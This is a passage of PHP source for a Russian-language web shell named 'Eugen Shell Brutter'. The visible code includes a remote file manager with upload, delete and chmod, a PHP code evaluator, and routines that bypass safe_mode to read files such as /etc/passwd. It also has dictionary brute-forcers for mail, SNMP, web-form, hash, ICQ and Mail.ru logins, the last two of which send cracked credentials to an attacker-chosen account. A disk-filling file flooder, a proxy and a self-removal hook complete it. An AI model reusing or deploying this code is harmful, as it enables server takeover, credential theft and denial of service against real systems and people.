= imagecreatetruecolor($width, $height); imagefill($idest, 0, 0, $rgb); imagecopyresampled($idest, $isrc, $new_left, $new_top, 0, 0, $new_width, $new_height, $size[0], $size[1]); ob_start(); imagejpeg($idest); $cont=ob_get_contents(); ob_end_clean(); imagedestroy($isrc); imagedestroy($idest); return $cont; } if (isset($_REQUEST['tumb'])) { header("Content-type: image/gif"); die(tumb($_REQUEST['t'])); } function tumbnail($f) { $ret=" "; return $ret; } function listdir($cwd,$task){ $c= getcwd(); $dh = opendir($cwd); while ($cont=readdir($dh)){ if($cont=='.' || $cont=='..')continue; $adr = $cwd.DIRECTORY_SEPARATOR.$cont; switch ($task){ case '0':if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";break; case '1':if(is_writeable($adr))if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";break; case '2':if(is_file($adr) && is_writeable($adr))echo "[$adr]\n";break; case '3':if(is_dir($adr) && is_writeable($adr))echo "[$adr]\n";break; case '4':if(is_file($adr))echo "[$adr]\n";break; case '5':if(is_dir($adr))echo "[$adr]\n";break; case '6':if(preg_match("@".$_REQUEST['search']."@",$cont)){if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";}break; case '7':if(strstr($cont,$_REQUEST['search'])){if(is_file($adr))echo "[$adr]\n";if(is_dir($adr))echo "[$adr]\n";}break; } if (is_dir($adr)) listdir($adr,$_REQUEST['task']); } } if (!function_exists("posix_getpwuid") && !strstr($disablefunctions,'posix_getpwuid')) {function posix_getpwuid($u) {return 0;}} if (!function_exists("posix_getgrgid") && !strstr($disablefunctions,'posix_getgrgid')) {function posix_getgrgid($g) {return 0;}} function filemanager(){ global $windows,$msgbox,$errorbox,$t,$et,$hcwd; $cwd= getcwd(); $table = ""; $td1n="
    "; $td2m=""; $td1i=""; $td2i=""; $tdnr=""; $tdw=""; if (!empty($_REQUEST['task'])){ if (!empty($_REQUEST['search'])) $_REQUEST['task'] = 7; if (!empty($_REQUEST['re'])) $_REQUEST['task'] = 6; echo "
    ";
    
    listdir($cwd,$_REQUEST['task']);
    
    echo "
    "; }else{ if (!empty($_REQUEST['cp']) || !empty($_REQUEST['mv'])|| !empty($_REQUEST['rn'])){ if (!empty($_REQUEST['cp']) || !empty($_REQUEST['mv'])){ $title="Destination"; $ad = (!empty($_REQUEST['cp']))?$_REQUEST['cp']:$_REQUEST['mv']; $dis =(!empty($_REQUEST['cp']))?'Копировать':'Переместить'; }else{ $ad = $_REQUEST['rn']; $title ="Новое имя"; $dis = "Переименовать"; } if (!!empty($_REQUEST['des'])){ echo "
    $td1n$td2m$hcwd
    $title:
    "; }else{ if (!empty($_REQUEST['rn'])) rename($ad,$_REQUEST['des']); else{ copy($ad,$_REQUEST['des']); if (!empty($_REQUEST['mv']))unlink($ad); } } } if (!empty($_REQUEST['del'])) { function dir_delete($df) { if ($dir=opendir($df)) { $i=0; while (($file=readdir($dir))!=false) { if ($file=="." or $file=="..") continue; if (is_dir("$df/$file")) { dir_delete($df."/".$file); } else { unlink($df."/".$file); } $i++; } } closedir($dir); rmdir("$df/$file"); } if (is_dir($_REQUEST['del'])) { dir_delete($_REQUEST['del']); } else { unlink ($_REQUEST['del']); } } if (!empty($_FILES['uploadfile'])){ if (!file_exists($_FILES['uploadfile']['name'])) { copy($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']); echo "$msgboxЗагружен! Имя: ".$_FILES['uploadfile']['name']." Размер: ".$_FILES['uploadfile']['size']. "$et
    "; } else { echo "$msgboxТакой файл уже есть! Имя: ".$_FILES['uploadfile']['name']." Размер: ".$_FILES['uploadfile']['size']. "$et
    "; } } $select = "
    Путь:
    "; $file=array();$dir=array();$link=array(); if($dirhandle = opendir($cwd)){ while ($cont=readdir($dirhandle)){ if (is_dir($cwd.DIRECTORY_SEPARATOR.$cont)) $dir[]= $cont; elseif (is_file($cwd.DIRECTORY_SEPARATOR.$cont)) $file[]=$cont; else $link[]=$cont; } closedir($dirhandle); sort($file);sort($dir);sort($link); echo ""; $i=0; foreach($dir as $dn){ echo ""; $i++; $own = "Неизвестно"; $owner = posix_getpwuid(fileowner($dn)); $mdate = date("Y/m/d H:i:s",filemtime($dn)); $adate = date("Y/m/d H:i:s",fileatime($dn)); $diraction = $select.hlink("sec=fm&workingdir=".realpath($dn))."\">Открыть"; if ($owner) $own = "".$owner['name'].""; if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} if (is_writeable($dn)) echo $tdw;elseif (!is_readable($dn)) echo $tdnr;else echo $cl2; echo icon(realpath($dn)).""; if (strlen($dn)>45)echo substr($dn,0,42)."...";else echo $dn;echo ""; echo $cl1."$own"; echo $cl1."$mdate"; echo $cl1."$adate"; echo "${cl1}*D";if (is_readable($dn)) echo "R";if (is_writeable($dn)) echo "W";echo "*"; echo "$cl1------"; echo $cl2.$diraction; echo "" ; flusher(); } foreach($file as $fn){ echo ""; $i++; $own = "Неизвестно"; $owner = posix_getpwuid(fileowner($fn)); $fileaction=$select.hlink("sec=openit&name=$fn&workingdir=$cwd")."\">Открыть"; $mdate = date("Y/m/d H:i:s",filemtime($fn)); $adate = date("Y/m/d H:i:s",fileatime($fn)); if ($owner) $own = "".$owner['name'].""; $size = showsize(filesize($fn)); if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} if (is_writeable($fn)) echo $tdw;elseif (!is_readable($fn)) echo $tdnr;else echo $td2m; if (get_file_ext($fn) == "gif" || get_file_ext($fn) == "jpg" || get_file_ext($fn) == "png" || get_file_ext($fn) == "jpeg") { $imagesize=getimagesize(realpath($fn)); echo "".icon(realpath($fn)).tumbnail(realpath($fn))." (".$imagesize[0]."x".$imagesize[1].")  "; } else { echo icon(realpath($fn)).""; } if (strlen($fn)>45)echo substr($fn,0,42)."...";else echo $fn;echo ""; echo $cl1."$own"; echo $cl1."$mdate"; echo $cl1."$adate"; echo "$cl1*";if (is_readable($fn)) echo "R";if (is_writeable($fn)) echo "W";if (is_executable($fn)) echo "X";if (is_uploaded_file($fn)) echo "U"; echo "*"; echo "$cl1$size"; echo $td2m.$fileaction; echo "" ; flusher(); } foreach($link as $ln){ $own = "Неизвестно"; $i++; $owner = posix_getpwuid(fileowner($ln)); $linkaction=$select.hlink("sec=openit&name=$ln&workingdir=$ln")."\">Открыть"; $mdate = date("Y/m/d H:i:s",filemtime($ln)); $adate = date("Y/m/d H:i:s",fileatime($ln)); if ($owner) $own = "".$owner['name'].""; echo ""; $size = showsize(filesize($ln)); if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} if (is_writeable($ln)) echo $tdw;elseif (!is_readable($ln)) echo $tdnr;else echo $cl2; echo ""; if (strlen($ln)>45)echo substr($ln,0,42)."...";else echo $ln;echo ""; echo $cl1."$own"; echo $cl1."$mdate"; echo $cl1."$adate"; echo "${cl1}L";if (is_readable($ln)) echo "R";if (is_writeable($ln)) echo "W";if (is_executable($ln)) echo "X"; echo ""; echo "$cl1$size"; echo $cl2.$linkaction; echo "" ; flusher(); } } $dc = count($dir)-2; if($dc==-2)$dc=0; $fc = count($file); $lc = count($link); $total = $dc + $fc + $lc; echo "$table
    ИмяВладелецВремя измененияПоследнее изменениеИнфоРазмерДействия
    Найти:Регулярные выражения $hcwd
    $hcwd
    $et
    $td1n$td2m$hcwd$td1n Максимальный объём загружаемого файла на этом сервере ".ini_get('upload_max_filesize')."

    Суммарно: Всего: $total Папок: $dc Файлов: $fc Ссылок: $lc
    Статус текущей папки: "; if (is_readable($cwd)) echo "R";if (is_writeable($cwd)) echo "W" ;echo "
    $td1n$td2m$hcwd
    Создать:

    ${t}Загрузить:
    $et"; } } function cm() { global $windows,$msgbox,$errorbox,$et; if (!$windows) { $mode=substr(sprintf('%o', fileperms($_REQUEST['file'])), -4); echo $msgbox; if (!empty($_POST['set'])) { $mode = 0; if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100; if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010; if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001; if (chmod($_REQUEST['file'], $mode)) { echo "OK!"; } else { echo "ERROR!"; } } else { $mode = fileperms($_REQUEST['file']); echo '

    CHMOD ' . realpath($_REQUEST['file']) . '


    Owner Group Other
    Чтение:
    Запись:
    Выполнение:

    '; } echo $et; } else { echo $errorbox."Извините, CHMOD недоступен под Windows!".$et; } } function imapcracker(){ global $t,$et,$errorbox,$crack; if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ $target=$_REQUEST['target']; $type=$_REQUEST['combo']; $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; $dictionary=fopen($_REQUEST['dictionary'],'r'); if ($dictionary){ echo "Ломаем ".htmlspecialchars($target)."...
    "; while(!feof($dictionary)){ if($type){ $combo=trim(fgets($dictionary)," \n\r"); $user=substr($combo,0,strpos($combo,':')); $pass=substr($combo,strpos($combo,':')+1); }else{ $pass=trim(fgets($dictionary)," \n\r"); } $pop3=imaplogin($target,$user,$pass); if($pop3==-1){echo $errorbox." Нет связи с сервером.".$et; break; }else{ if ($pop3){echo "U: ".$user." P: ".$pass."
    "; if(!$type) { break; }}} flusher(); } echo "
    Готово!
    "; fclose($dictionary); } else{ echo $errorbox." Невозможно открыть словарь.".$et; }} else { echo "
    ${t}IMAP брут:$crack"; } } function snmpcracker(){ global $t,$et,$errorbox,$crack,$hcwd; if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ $target=$_REQUEST['target']; $dictionary=fopen($_REQUEST['dictionary'],'r'); if ($dictionary){ echo "Ломаем ".htmlspecialchars($target)."...
    "; while(!feof($dictionary)){ $com=trim(fgets($dictionary)," \n\r"); $res=snmpcheck($target,$com); if ($res!="") { echo $com."
    "; } flusher(); } echo "
    Готово
    "; fclose($dictionary); } else{ echo $errorbox." Невозможно открыть словарь.".$et; } }else{ echo "
    ${t}SNMP брут:
    Словарь:
    Сервер:
    "; }} function pop3cracker(){ global $t,$et,$errorbox,$crack; if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ $target=$_REQUEST['target']; $type=$_REQUEST['combo']; $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; $dictionary=fopen($_REQUEST['dictionary'],'r'); if ($dictionary){ echo "Ломаем ".htmlspecialchars($target)."...
    "; while(!feof($dictionary)){ if($type){ $combo=trim(fgets($dictionary)," \n\r"); $user=substr($combo,0,strpos($combo,':')); $pass=substr($combo,strpos($combo,':')+1); }else{ $pass=trim(fgets($dictionary)," \n\r"); } $pop3=pop3login($target,$user,$pass); if($pop3==-1){echo "$errorbox Нет связи с сервером.$et";break;} else{ if ($pop3){echo "U: ".$user." P: ".$pass."
    "; if(!$type) {break; }}} flusher(); } echo "
    Готово!
    "; fclose($dictionary); }else{ echo $errorbox." Невозможно открыть словарь.".$et; } }else { echo "
    ${t}POP3 брут:$crack"; } } function smtpcracker(){ global $t,$et,$errorbox,$crack; if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ $target=$_REQUEST['target']; $type=$_REQUEST['combo']; $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; $dictionary=fopen($_REQUEST['dictionary'],'r'); if ($dictionary){ echo "Ломаем ".htmlspecialchars($target)."...
    "; while(!feof($dictionary)){ if($type){ $combo=trim(fgets($dictionary)," \n\r"); $user=substr($combo,0,strpos($combo,':')); $pass=substr($combo,strpos($combo,':')+1); }else{ $pass=trim(fgets($dictionary)," \n\r"); } $pop3=smtplogin($target,$user,$pass,5); if($pop3==-1){echo $errorbox." Нет связи с сервером.".$et; break; }else{ if ($pop3) { echo "U: ".$user." P: ".$pass."
    "; if(!$type) { break; }}} flusher(); } echo "
    Готово!
    "; fclose($dictionary); }else{ echo $errorbox." Невозможно открыть словарь.".$et; } }else echo "
    ${t}SMTP брут:$crack"; } function formcracker(){ global $errorbox,$footer,$et,$hcwd; $method='POST'; if(!empty($_REQUEST['start'])){ $url=$_REQUEST['target']; $uf=$_REQUEST['userf']; $pf=$_REQUEST['passf']; $sf=$_REQUEST['submitf']; $sv=$_REQUEST['submitv']; $method=$_REQUEST['method']; $fail=$_REQUEST['fail']; $dic=$_REQUEST['dictionary']; $type=$_REQUEST['combo']; $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; if(!file_exists($dic)) { die($errorbox." Невозможно открыть словарь.".$et.$footer); } $dictionary=fopen($dic,'r'); $u=parse_url($url); $host=$u['host'];$page=(!empty($u['path']))?$u['path']:'/'; echo "Брут начался...
    "; while(!feof($dictionary)){ if($type){ $combo=trim(fgets($dictionary)," \n\r"); $user=substr($combo,0,strpos($combo,':')); $pass=substr($combo,strpos($combo,':')+1); }else{ $pass=trim(fgets($dictionary)," \n\r"); } $line=""; $data=$uf."=".$user."&".$pf."=".$pass."&".$sf."=".$sv; $http=fsockopen($host,80,$errno,$errstr,12); if (!$http) { continue; } if ($method=="POST"){ fputs($http,"POST $page HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen( $data )."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data"); }else{ fputs($http,"GET $page?$data HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\n\r\n"); } while(!feof($http)){ $line.=fgets($http,32); } if (!strstr($line,$fail)){echo "U: $user P: $pass
    ";if(!$type)break;} fclose($http); flusher(); } fclose($dictionary); echo "Готово!

    "; } else echo "
    Брут форм:
    Словарь:
    Тип словаря:Simple (P)Combo (U:P)
    Имя:$hcwd
    Страница:
    Метод:
    Поле для логина:
    Поле для пароля:
    Submit name:
    Submit value:
    Текст ошибки:
    "; } function hashcracker(){ global $errorbox,$t,$et,$hcwd; if (!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){ $dictionary=fopen($_REQUEST['dictionary'],'r'); if ($dictionary){ $hash=strtoupper($_REQUEST['hash']); echo "Ломаем " . htmlspecialchars($hash)."...
    "; $type=($_REQUEST['type']=='MD5')?'md5':'sha1'; while(!feof($dictionary)){ $word=trim(fgets($dictionary)," \n\r"); if ($hash==strtoupper(($type($word)))){echo "Ответ: ".htmlspecialchars($word)."
    ";break;} } echo "Готово!
    "; fclose($dictionary); } else{ echo "$errorbox Невозможно открыть словарь.$et"; } } echo "
    ${t}Hash брут:
    Словарь:
    Hash:
    Тип:
    $hcwd
    "; } function proxy(){ global $errorbox,$et,$footer,$hcwd; echo "
    Адрес: $hcwd
    "; if (!empty($_REQUEST['url'])){ $dir=""; $u=parse_url($_REQUEST['url']); $host=$u['host'];$file==(!empty($u['path']))?$u['path']:'/'; if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/'))); $url=@fsockopen($host, 80, $errno, $errstr, 12); if(!$url)die("
    $errorbox Нет связи!$et$footer"); fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); while(!feof($url)){ $con = fgets($url); $con = str_replace("href=mailto","HrEf=mailto",$con); $con = str_replace("HREF=mailto","HrEf=mailto",$con); $con = str_replace("href=\"mailto","HrEf=\"mailto",$con); $con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con); $con = str_replace("href=\'mailto","HrEf=\"mailto",$con); $con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con); $con = str_replace("href=\"http","HrEf=\"".hlink("sec=px&url=http"),$con); $con = str_replace("HREF=\"http","HrEf=\"".hlink("sec=px&url=http"),$con); $con = str_replace("href=\'http","HrEf=\"".hlink("sec=px&url=http"),$con); $con = str_replace("HREF=\'http","HrEf=\"".hlink("sec=px&url=http"),$con); $con = str_replace("href=http","HrEf=".hlink("sec=px&url=http"),$con); $con = str_replace("HREF=http","HrEf=".hlink("sec=px&url=http"),$con); $con = str_replace("href=\"","HrEf=\"".hlink("sec=px&url=http://$host/$dir/"),$con); $con = str_replace("HREF=\"","HrEf=\"".hlink("sec=px&url=http://$host/$dir/"),$con); $con = str_replace("href=\"","HrEf=\'".hlink("sec=px&url=http://$host/$dir/"),$con); $con = str_replace("HREF=\"","HrEf=\'".hlink("sec=px&url=http://$host/$dir/"),$con); $con = str_replace("href=","HrEf=".hlink("sec=px&url=http://$host/$dir/"),$con); $con = str_replace("HREF=","HrEf=".hlink("sec=px&url=http://$host/$dir/"),$con); echo $con; } fclose($url); } } function phpeval(){ global $t,$hcwd; if (!empty($_REQUEST['code'])){ echo "

    "; } echo "
    ${t}Evaler:
    Код:$hcwd
    "; } function whois(){ global $t,$hcwd; if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){ $server =$_REQUEST['server']; $domain=$_REQUEST['domain']."\r\n"; $ser=fsockopen($server,43,$en,$es,5); fputs($ser,$domain); echo "
    ";
    
    while(!feof($ser)) echo fgets($ser);
    
    echo "
    "; fclose($ser); } else{ echo "
    ${t}Whois:
    Сервер:Домен/IP:$hcwd
    "; } } function hexview(){ if (!empty($_REQUEST['file'])){ $f = $_REQUEST['file']; echo ""; $file = fopen($f,"r"); $i= -1; while (!feof($file)) { $ln=''; $i++; echo ""; echo ""; } } fclose($file); echo "
    OffsetHexASCII
    "; echo str_repeat("0",(8-strlen($i * 16))).$i * 16; echo ""; for ($j=0;$j<=7;$j++){ if (!feof($file)){ $tmp = strtoupper(dechex(ord(fgetc($file)))); if (strlen($tmp)==1) $tmp = "0".$tmp; echo $tmp." "; $ln.=$tmp; } } echo ""; for ($j=7;$j<=14;$j++){ if (!feof($file)){ $tmp = strtoupper(dechex(ord(fgetc($file)))); if (strlen($tmp)==1) $tmp = "0".$tmp; echo $tmp." "; $ln.=$tmp; } } echo ""; $n=0;$asc="";$co=0; for ($k=0;$k<=16;$k++){ $co=hexdec(substr($ln,$n,2)); if (($co<=31)||(($co>=127)&&($co<=160)))$co=46; $asc.= chr($co); $n+=2; } echo htmlspecialchars($asc); echo "
    "; } function safemode(){ global $windows,$t,$hcwd; if (!empty($_REQUEST['file'])){ $i=1; echo "
    \nМетод $i:(ini_restore)\n";
    
    ini_restore("safe_mode");ini_restore("open_basedir");
    
    $tmp = file_get_contents($_REQUEST['file']);
    
    echo htmlspecialchars($tmp);
    
    $i++;
    
    echo "\nМетод $i:(copy)\n";
    
    $tmp=tempnam("","cx");
    
    copy("compress.zlib://".$_REQUEST['file'], $tmp);
    
    $fh = fopen($tmp, "r");
    
    $data = fread($fh, filesize($tmp));
    
    fclose($fh);
    
    echo htmlspecialchars($data);
    
    $i++;
    
    if(function_exists("curl_init")){
    
    echo "\nМетод $i:(curl_init)[A]\n";
    
    $fh = @curl_init("file://".$_REQUEST['file']."");
    
    $tmp = @curl_exec($fh);
    
    echo $tmp;
    
    $i++;
    
    echo "\nМетод $i:(curl_init)[B]\n";
    
    $i++;
    
    if(strstr($_REQUEST['file'],DIRECTORY_SEPARATOR))
    
    $ch =curl_init("file:///".$_REQUEST['file']."\x00/../../../../../../../../../../../../".__FILE__);
    
    else $ch = curl_init("file://".$_REQUEST['file']."\x00".__FILE__);
    
    curl_exec($ch);
    
    var_dump(curl_exec($ch));
    
    }
    
    if($_REQUEST['file'] == "/etc/passwd"){
    
    echo "\nМетод $i:(posix)\n";
    
    for($uid=0;$uid<99999;$uid++){
    
    $h = posix_getpwuid($uid);
    
    if (!empty($h))while (list ($k, $v) = each($h))echo "$v:";}}
    
    $i++;
    
    echo "
    "; } echo "
    ${t}АнтиБезопасный режим:
    Файл:$hcwd
    "; } function icqlogin($login,$pass) { $icq = new ICQclient($login,$pass); if($icq->connect()) { if ($icq->login()) { if (!empty($_REQUEST['admin']) && isset($_REQUEST['admin'])) { $icq->send_message($_REQUEST['admin'],"Сбручен номер:\r\n".$login.";".$pass."\r\nEugen Shell Brutter"); } usleep(100); return true; }} return false; } function icqbrute() { global $msgbox,$et; if (!isset($_REQUEST['ibr']) || empty ($_REQUEST['ibr'])) { echo $msgbox."
    Введите номера в виде номер;пароль на строку.


    Путь к файлу для сохранения хороших комбинаций.
    Если не существует - будет создан. Иначе - перезаписан.
    Поле можно оставить пустым.
    Файл:
    Ваш номер (На него прийдут результаты. Можно оставить пустым.):


    ".$et; } else { $filegood=$_REQUEST['icqfile']; if (!empty($filegood)) { $fp=@fopen($filegood,"w+"); $nums=$_REQUEST['ibr']; $arr=explode("\r\n",$nums); echo "\r\nНажмите сюда"; flusher(); for ($i=0; $iСбрученные номера
    "; flusher(); for ($i=0; $i"; flusher(); }} echo $et; }}} function mralogin($login,$pass) { $user_agent = 'magent'; $magic = "\xEF\xBE\xAD\xDE"; $proto = "\x0A\x00\x01\x00"; $mnumb = 0; $socket = @fsockopen("mrim.mail.ru","2042"); if (!$socket) { return false; } $answ=fgets($socket, 20); fclose ($socket); list($hostc, $portc) = explode(":", $answ); unset ($socket); unset ($answ); $socket = @fsockopen($hostc,$portc); if (!$socket) { return false; } $mrim_hello = $magic.$proto.pack("L1", $mnumb)."\x01\x10\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; fputs($socket,$mrim_hello); $mnumb++; $answ=fgets($socket, 48); $ping_time = ord(unpack("x44 A1", $answ)); unset($answ); $login_data = pack('L1',strlen($login)).$login.pack('L1',strlen($pass)).$pass."\x01\x00\x00\x00".pack('L1',strlen($user_agent)).$user_agent; $mrim_login = $magic.$proto.pack("L1", $mnumb)."\x38\x10\x00\x00".pack('L1',strlen($login_data))."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".$login_data; fputs($socket,$mrim_login); $answ=fread($socket, 1024); $mnumb++; if (!strstr($answ,"Invalid login") && !empty($answ) && !strstr($answ,"Access denied")) { if (!empty($_REQUEST['sendto'])) { $to=$_REQUEST['sendto']; $text="Сбручен ящик ".$login."\r\nПароль: ".$pass; $data = "\x04\x00\x00\x00".pack ('L1', strlen($to)).$to.pack ('L1', strlen($text)).$text.pack ('L1', '0'); $mrim_packet = $magic.$proto.pack("L1", $mnumb)."\x08\x10\x00\x00".pack('L1',strlen($data))."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".$data; fputs($socket,$mrim_packet); } return true; } else { return false; } unset ($answ); fclose($socket); } function mrabrute(){ global $msgbox,$et; if (!isset($_REQUEST['mbr']) || empty ($_REQUEST['mbr'])) { echo $msgbox."
    Введите ящики в виде ящик:пароль на строку.


    Путь к файлу для сохранения хороших комбинаций.
    Если не существует - будет создан. Иначе - перезаписан.
    Поле можно оставить пустым.
    Файл:
    Ваш ящик агента (должна стоять галочка \"принимать сообщения от всех\")
    (На него прийдут результаты. Можно оставить пустым.):


    ".$et; } else { $filegood=$_REQUEST['mrafile']; if (!empty($filegood)) { $fp=@fopen($filegood,"w+"); $nums=$_REQUEST['mbr']; $arr=explode("\r\n",$nums); echo "\r\nНажмите сюда"; flusher(); for ($i=0; $iСбрученные ящики
    "; flusher(); for ($i=0; $i"; flusher(); }} echo $et; }} } function cracker(){ global $et; $cwd = getcwd(); echo "
    [Hash] - [SMTP] - [POP3] - [IMAP] - [FTP] - [SNMP] - [MySQL] - [HTTP форма] - [HTTP авторизация (basic)] - [Шифровка и дешивровка текста] - [ICQ брут] - [MRA брут] - [Генератор словарей]$et"; } function tools(){ global $et; $cwd = getcwd(); echo "
    '; } else { echo ''; } echo ""; } echo "\n"; echo "
    [InetCrack (HTTP)] - [Файловый флудер] - [Прокси-чекер] - [Whois] - [PHP криптор] - [Convert] - [Hash Calc] - [Самоудаление]$et"; } function asc2bin($str) { $text_array = explode("\r\n", chunk_split($str, 1)); for ($n = 0; $n < count($text_array) - 1; $n++) { $newstring .= substr("0000".base_convert(ord($text_array[$n]), 10, 2), -8); } $newstring = chunk_split($newstring, 8, " "); return $newstring; } function bin2asc($str) { $str = str_replace(" ", "", $str); $text_array = explode("\r\n", chunk_split($str, 8)); for ($n = 0; $n < count($text_array) - 1; $n++) { $newstring .= chr(base_convert($text_array[$n], 2, 10)); } return $newstring; } function asc2hex($str) { return chunk_split(bin2hex($str), 2, " "); } function hex2asc($str) { $str = str_replace(" ", "", $str); for ($n=0; $n\n"; for ($n = 1; $n < 26; $n++) { $cipher = substr($alpha, $n, 26 - $n) . substr($alpha, 0, $n) . substr($alpha, 26+$n, 52-$n) . substr($alpha, 26, $n); if ($n % 2 == 0) { echo '
    ROT-$n: ". strtr($str, $alpha, $cipher) ."
    \n"; } function entityenc($str) { $text_array = explode("\r\n", chunk_split($str, 1)); for ($n = 0; $n < count($text_array) - 1; $n++) { $newstring .= "&#" . ord($text_array[$n]) . ";"; } return $newstring; } function entitydec($str) { $str = str_replace(';', '; ', $str); $text_array = explode(' ', $str); for ($n = 0; $n < count($text_array) - 1; $n++) { $newstring .= chr(substr($text_array[$n], 2, 3)); } return $newstring; } function l33t($str) { $from = 'ieastoIEASTO'; $to = '134570134570'; $newstring = strtr($str, $from, $to); return $newstring; } function del33t($str) { $from = '134570'; $to = 'ieasto'; $newstring = strtr($str, $from, $to); return $newstring; } function igpay($str) { $text_array = explode(" ", $str); for ($n = 0; $n < count($text_array); $n++) { $newstring .= substr($text_array[$n], 1) . substr($text_array[$n], 0, 1) . "ay "; } return $newstring; } function unigpay($str) { $text_array = explode(" ", $str); for ($n = 0; $n < count($text_array); $n++) { $newstring .= substr($text_array[$n], -3, 1) . substr($text_array[$n], 0, strlen($text_array[$n]) - 3) . " "; } return $newstring; } function rot13($str) { $from = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $to = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM'; $newstring = strtr($str, $from, $to); return $newstring; } function strip_spaces($str) { $str = str_replace(" ", "", $str); return $str; } function code() { global $et; $cwd = getcwd(); echo "
    $hcwd
    "; if(isset($_REQUEST['submit'])) { $text = $_REQUEST['text']; if($text == '') { die("

    Заполните форму!

    \n"); } $text = urldecode(stripslashes($text)); $orig_text = $text; $orig_text = htmlentities($orig_text); echo("

    $orig_text
    конвертируется в:
    \n"); switch ($_POST['cryptmethod']) { case "asc2bin": $text = asc2bin($text); break; case "asc2hex": $text = asc2hex($text); break; case "bin2asc": $text = bin2asc($text); break; case "hex2asc": $text = hex2asc($text); break; case "bin2hex": $text = binary2hex($text); break; case "hex2bin": $text = hex2binary($text); break; case "backwards": $text = strrev($text); break; case 'b64enc': $text = base64_encode($text); break; case 'b64dec': $text = base64_decode(strip_spaces($text)); break; case 'caesarbf': $text = caesarbf($text); break; case 'crypt': $text = crypt($text, 'CRYPT_STD_DES'); break; case 'entityenc': $text = entityenc($text); break; case 'entitydec': $text = entitydec($text); break; case "l33t": $text = l33t($text); break; case "del33t": $text = del33t($text); break; case 'md5': $text = md5($text); break; case 'igpay': $text = igpay($text); break; case 'unigpay': $text = unigpay($text); break; case "rot-13": $text = rot13($text); break; case 'urlenc': $text = urlencode($text); break; case 'urldec': $text = urldecode($text); break; default: die("Тип не поддерживается!

    \n"); } $text = htmlentities($text); echo("$text

    \n"); } $form="


    "; echo $form.$et; } function http() { global $et; $cwd = getcwd(); echo "
    \r\n"; ?>

    Формирование запроса

    Хост:
    Путь:
    Метод: GET POST
    Переменные:
    Cookies:
    User-Agent:
    Referer:
    X-Forwarded-For:
     
    &send=1" method="post"> Хост:

    Запрос:

    Добавлять htmlspecialchars() к ответу сервера
    (для ламеров - выводить ответ в виде текста, а не HTML)

    Ответ сервера:

    "; list($host,$port)=explode(":",$_POST['host']); if (!isset($port) or empty($port)) { unset($port); $port=80; } if (!$socket=@fsockopen($host,$port,$en,$es,"3")) { echo "

    Нет связи с сервером!

    "; exit(); } fputs($socket,stripslashes($_POST['pac'])); $get=""; while (!feof($socket)) { $get.=fgets($socket,32); } fclose($socket); if (isset($_POST['hsc'])) { $get=htmlspecialchars($get); } $get=nl2br($get); echo "
    \r\n
    "; echo $get."\r\n"; echo "
    \r\n"; echo "
    \r\n"; } echo $et.""; } function fflooder() { global $et; $cwd = getcwd(); echo "
    \r\n"; if (!isset($_REQUEST['confirm'])) { echo "$et"; } if (isset($_REQUEST['confirm'])) { $name = array('a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','r','s', 't','u','v','x','y','z','A','B','C','D','E','F','G ','H','I','J','K','L', 'M','N','O','P','R','S','T','U','V','X','Y','Z','1 ','2','3','4','5','6', '7','8','9','0'); $rash= array('.txt','.dic','.doc','.xls','.exe','.ini', '.bat','.log','.dll','.hak','.wmf','.zip','.rar', '.tar','.gz','.jpg','.gif','.bmp'); while(true) { $perem = ""; $fuck=""; for($i = 0; $i < rand(20,1); $i++) { $by = rand(0, count($name) - 1); $perem .= $name[$by]; } $ra= rand(0, count($rash)-1); $fuck .= $rash[$ra]; $fp=fopen($perem.$fuck,"w"); fwrite($fp,str_repeat(php_uname(),20)); fclose($fp); } } } function selfremove() { global $et; echo "
